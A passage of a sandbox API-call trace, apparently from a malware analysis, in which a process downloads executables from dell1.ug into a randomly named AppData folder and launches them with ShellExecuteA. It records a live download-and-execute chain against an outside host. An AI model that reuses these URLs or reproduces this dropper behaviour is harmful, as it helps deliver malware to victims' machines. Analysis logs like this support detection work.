lpWideCharStr=0xc940430, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/4.exe") returned 36 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc941540 [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60848f8 | out: hHeap=0x3500000) returned 1 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc940430 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x827) returned 0x601e9e8 [0053.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0x601e9e8, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/4.exe", lpUsedDefaultChar=0x0) returned 36 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc940cb8 [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0053.418] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://dell1.ug/files/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0053.519] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940cb8 | out: hHeap=0x3500000) returned 1 [0053.519] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0053.519] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084968 [0053.519] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084968 | out: hHeap=0x3500000) returned 1 [0053.519] lstrcpyA (in: lpString1=0x60302c8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" [0053.519] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", pMore="4.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe") returned 1 [0053.519] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089460 [0053.519] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0053.520] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.520] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.527] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.528] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.558] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.609] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.609] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.610] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.610] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.610] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.611] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.611] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.611] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.611] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.612] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.612] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.612] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.612] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.613] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.613] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.642] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.643] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.643] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.643] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.644] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.644] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.644] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.644] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.645] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.645] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.645] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.645] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.670] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.671] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.671] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.672] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.672] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.672] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.672] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.673] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.673] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.673] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.674] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.674] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.696] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.696] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2200) returned 1 [0053.698] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2200, lpOverlapped=0x0) returned 1 [0053.698] CloseHandle (hObject=0x5bc) returned 1 [0053.701] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0053.705] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0053.705] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\4.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0053.736] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089460 | out: hHeap=0x3500000) returned 1 [0053.736] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc941540 | out: hHeap=0x3500000) returned 1 [0053.736] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0053.736] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084a48 [0053.736] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x84e) returned 0xc941540 [0053.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6084a48, cbMultiByte=-1, lpWideCharStr=0xc941540, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/5.exe") returned 36 [0053.736] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc940cb8 [0053.736] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc941540 | out: hHeap=0x3500000) returned 1 [0053.736] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084a48 | out: hHeap=0x3500000) returned 1 [0053.736] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc941540 [0053.736] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x827) returned 0x601e9e8 [0053.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0x601e9e8, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/5.exe", lpUsedDefaultChar=0x0) returned 36 [0053.737] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc940430 [0053.737] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0053.737] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc941540 | out: hHeap=0x3500000) returned 1 [0053.737] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://dell1.ug/files/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0053.818] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0053.818] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0053.818] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084ab8 [0053.818] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084ab8 | out: hHeap=0x3500000) returned 1 [0053.818] lstrcpyA (in: lpString1=0x60302c8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" [0053.818] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", pMore="5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe") returned 1 [0053.818] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089460 [0053.819] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0053.821] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.821] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.826] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.827] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.853] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.854] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.854] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.854] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.855] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.855] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.893] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.893] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.894] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.894] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.894] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.895] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.895] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.895] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.895] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.896] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.906] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.906] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.907] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.907] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.907] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 